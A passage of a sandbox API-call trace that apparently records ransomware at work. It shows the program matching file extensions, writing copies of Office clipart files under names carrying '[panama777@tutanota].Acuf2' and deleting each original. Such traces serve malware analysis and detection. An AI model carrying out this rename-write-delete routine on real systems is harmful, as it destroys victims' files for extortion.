	[0255.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.540] lstrlenW (lpString=".xls") returned 4
	[0255.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.540] lstrlenW (lpString=".xlsx") returned 5
	[0255.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.540] lstrlenW (lpString=".ppt") returned 4
	[0255.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.540] lstrlenW (lpString=".zip") returned 4
	[0255.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.540] lstrlenW (lpString=".rar") returned 4
	[0255.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.540] lstrlenW (lpString=".bz2") returned 4
	[0255.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.540] lstrlenW (lpString=".7z") returned 3
	[0255.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.541] lstrlenW (lpString=".dbf") returned 4
	[0255.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.541] lstrlenW (lpString=".1cd") returned 4
	[0255.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.541] lstrlenW (lpString=".jpg") returned 4
	[0255.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.541] lstrlenW (lpString=".doc") returned 4
	[0255.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.541] lstrlenW (lpString=".docx") returned 5
	[0255.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.541] lstrlenW (lpString=".pdf") returned 4
	[0255.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.541] lstrlenW (lpString=".xls") returned 4
	[0255.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.541] lstrlenW (lpString=".xlsx") returned 5
	[0255.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.541] lstrlenW (lpString=".ppt") returned 4
	[0255.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.541] lstrlenW (lpString=".zip") returned 4
	[0255.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.541] lstrlenW (lpString=".rar") returned 4
	[0255.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.541] lstrlenW (lpString=".bz2") returned 4
	[0255.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.542] lstrlenW (lpString=".7z") returned 3
	[0255.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.542] lstrlenW (lpString=".dbf") returned 4
	[0255.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.542] lstrlenW (lpString=".1cd") returned 4
	[0255.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.542] lstrlenW (lpString=".jpg") returned 4
	[0255.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.542] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.542] lstrlenW (lpString="AN04384_.WMF") returned 12
	[0255.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0255.565] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4996) returned 1
	[0255.565] CloseHandle (hObject=0x29c) returned 1
	[0255.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20
	[0255.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.572] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.573] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.573] GetLastError () returned 0x0
	[0255.573] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1384, lpOverlapped=0x0) returned 1
	[0255.584] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1390, lpOverlapped=0x0) returned 1
	[0255.585] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.585] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.585] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.585] CloseHandle (hObject=0x2a4) returned 1
	[0255.585] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.585] SetEndOfFile (hFile=0x338) returned 1
	[0255.588] CloseHandle (hObject=0x338) returned 1
	[0255.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1
	[0255.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.589] lstrlenW (lpString=".doc") returned 4
	[0255.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.589] lstrlenW (lpString=".docx") returned 5
	[0255.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.589] lstrlenW (lpString=".pdf") returned 4
	[0255.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.589] lstrlenW (lpString=".xls") returned 4
	[0255.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.589] lstrlenW (lpString=".xlsx") returned 5
	[0255.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.589] lstrlenW (lpString=".ppt") returned 4
	[0255.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.589] lstrlenW (lpString=".zip") returned 4
	[0255.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.589] lstrlenW (lpString=".rar") returned 4
	[0255.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.589] lstrlenW (lpString=".bz2") returned 4
	[0255.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.589] lstrlenW (lpString=".7z") returned 3
	[0255.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.589] lstrlenW (lpString=".dbf") returned 4
	[0255.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.589] lstrlenW (lpString=".1cd") returned 4
	[0255.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.589] lstrlenW (lpString=".jpg") returned 4
	[0255.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.590] lstrlenW (lpString=".doc") returned 4
	[0255.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString=".docx") returned 5
	[0255.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.590] lstrlenW (lpString=".pdf") returned 4
	[0255.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString=".xls") returned 4
	[0255.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.590] lstrlenW (lpString=".xlsx") returned 5
	[0255.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.590] lstrlenW (lpString=".ppt") returned 4
	[0255.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.590] lstrlenW (lpString=".zip") returned 4
	[0255.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.590] lstrlenW (lpString=".rar") returned 4
	[0255.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString=".bz2") returned 4
	[0255.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString=".7z") returned 3
	[0255.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.590] lstrlenW (lpString=".dbf") returned 4
	[0255.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.590] lstrlenW (lpString=".1cd") returned 4
	[0255.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63
	[0255.590] lstrlenW (lpString=".jpg") returned 4
	[0255.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.591] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.591] lstrlenW (lpString="BD00141_.WMF") returned 12
	[0255.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.591] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=26886) returned 1
	[0255.591] CloseHandle (hObject=0x338) returned 1
	[0255.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20
	[0255.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.592] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.592] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.592] GetLastError () returned 0x0
	[0255.592] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x6906, lpOverlapped=0x0) returned 1
	[0255.594] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x6910, lpOverlapped=0x0) returned 1
	[0255.595] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.595] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.595] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.595] CloseHandle (hObject=0x2a4) returned 1
	[0255.595] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.595] SetEndOfFile (hFile=0x338) returned 1
	[0255.599] CloseHandle (hObject=0x338) returned 1
	[0255.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1
	[0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.599] lstrlenW (lpString=".doc") returned 4
	[0255.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.599] lstrlenW (lpString=".docx") returned 5
	[0255.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.600] lstrlenW (lpString=".pdf") returned 4
	[0255.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.600] lstrlenW (lpString=".xls") returned 4
	[0255.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.600] lstrlenW (lpString=".xlsx") returned 5
	[0255.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.600] lstrlenW (lpString=".ppt") returned 4
	[0255.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.600] lstrlenW (lpString=".zip") returned 4
	[0255.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.600] lstrlenW (lpString=".rar") returned 4
	[0255.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.600] lstrlenW (lpString=".bz2") returned 4
	[0255.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.600] lstrlenW (lpString=".7z") returned 3
	[0255.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.600] lstrlenW (lpString=".dbf") returned 4
	[0255.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.600] lstrlenW (lpString=".1cd") returned 4
	[0255.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.600] lstrlenW (lpString=".jpg") returned 4
	[0255.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.600] lstrlenW (lpString=".doc") returned 4
	[0255.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.601] lstrlenW (lpString=".docx") returned 5
	[0255.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.601] lstrlenW (lpString=".pdf") returned 4
	[0255.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.601] lstrlenW (lpString=".xls") returned 4
	[0255.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.601] lstrlenW (lpString=".xlsx") returned 5
	[0255.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.601] lstrlenW (lpString=".ppt") returned 4
	[0255.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.601] lstrlenW (lpString=".zip") returned 4
	[0255.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.601] lstrlenW (lpString=".rar") returned 4
	[0255.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.601] lstrlenW (lpString=".bz2") returned 4
	[0255.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.601] lstrlenW (lpString=".7z") returned 3
	[0255.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.601] lstrlenW (lpString=".dbf") returned 4
	[0255.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.601] lstrlenW (lpString=".1cd") returned 4
	[0255.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63
	[0255.601] lstrlenW (lpString=".jpg") returned 4
	[0255.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.602] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.602] lstrlenW (lpString="BD00146_.WMF") returned 12
	[0255.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.602] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=28948) returned 1
	[0255.602] CloseHandle (hObject=0x338) returned 1
	[0255.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20
	[0255.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.602] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.602] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.603] GetLastError () returned 0x0
	[0255.603] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x7114, lpOverlapped=0x0) returned 1
	[0255.605] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x7120, lpOverlapped=0x0) returned 1
	[0255.606] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.606] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.606] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.606] CloseHandle (hObject=0x2a4) returned 1
	[0255.606] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.606] SetEndOfFile (hFile=0x338) returned 1
	[0255.609] CloseHandle (hObject=0x338) returned 1
	[0255.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1
	[0255.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.610] lstrlenW (lpString=".doc") returned 4
	[0255.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.610] lstrlenW (lpString=".docx") returned 5
	[0255.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.610] lstrlenW (lpString=".pdf") returned 4
	[0255.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.610] lstrlenW (lpString=".xls") returned 4
	[0255.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.610] lstrlenW (lpString=".xlsx") returned 5
